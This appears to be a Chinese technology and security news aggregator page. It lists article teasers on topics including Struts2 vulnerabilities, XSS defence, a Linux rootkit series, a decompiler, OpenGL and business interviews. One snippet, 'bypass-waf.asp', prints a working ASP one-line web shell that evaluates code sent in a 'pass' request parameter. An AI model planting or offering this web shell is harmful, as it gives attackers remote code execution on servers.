http://drops.wooyun.org/papers/10656 Author: 百度云安全天网团队 百度安全攻防实验室 百度云安全云端防护团队 0x00 异常挖掘与回溯 11月13日，百度云...
WooYun-Drops
WooYun-Drops
bypass-waf.asp
<%dim x1,x2x1 = request("pass")x2 = x1eval x2%> <!-- yes++ --><!-- 一句话 pass...
脚本语言
如何忘却jQuery，开始使用JavaScript原生API
JavaScript就在这里随时等候你的召唤，但是也许你还没有准备好如何使用他。为什么不用jQuery呢？因为它很慢并且你的网站真的不需要这些多余的负担。 我不是来这里争辩原生API和函数库的...
神兵利刃
Retargetable Decompiler 免费的在线反编译引擎
写在前面 其实谁开发了一个反编译引擎跟我们并没有什么关系，但它开放了在线的免费服务就不一样了。 正文 Retargetable Decompiler的主要目的在于，给大家提供一个灵活的反...
C/C++/C#
OpenGL 简介
OpenGL是一个底层图形库规范。它为程序员提供了一个小的几何图元（点、线、多边形、图片和位图）库和一个支持2D/3D几何对象绘图命令库，通过所提供的图元和命令来控制对象的呈现（绘图）。 由于...
网络安全
绿盟科技威胁分析报告：那些年，那些 Apache Struts2 的漏洞
每次 Apache Struts2 漏洞爆发都在互联网上掀起腥风血雨，我们整理了近年来 Apache Struts2 高风险漏洞的信息供大家参考。针对此次 Apache Struts2 的漏洞，绿盟科...
快讯信息
丁磊、李彦宏都想回A股，你让别的企业家怎么办？
两会在即，又到了中国（互联网）企业家们争相刷存在感的时候了，昨天（3月2日）是周鸿祎和丁磊，今天换成了昨晚还在给员工盛汤圆的李彦宏。其中值得关注的是首次当选政协委员的丁磊和连任的李彦宏。丁磊这位养猪成...
神兵利刃
LinuxRootkit系列二：基于修改sys_call_table的系统调用
前言： 《Linux Rootkit 系列一： LKM的基础编写及隐藏》的作者似乎跑路了；留下的这个口锅，我试着背一下。鉴于笔者知识能力上的不足，如有问题欢迎各位扔豆腐，不要砸砖头。 与第一篇文章作者...
WEB安全
如何正确防御xss攻击
XSS:Cross Site Script，本来简写是css，但为了区别样式表的css，因此在安全领域叫做“XSS”。XSS攻击通常是指黑客通过"HTML注入"篡改了网页，插入了恶...
脱不花对话柳传志：“我对85后的理解与不解，应对互联网如何变与不变”
虎嗅注：今年是联想成立30周年。作为联想创始人，柳传志前段时间发内部信，将联想这30年的成功归功于联想的“发动机文化”。内部信一发出，就引发了争论，年轻一代们对“发动机文化”不感兴趣，他们更愿意选择“...
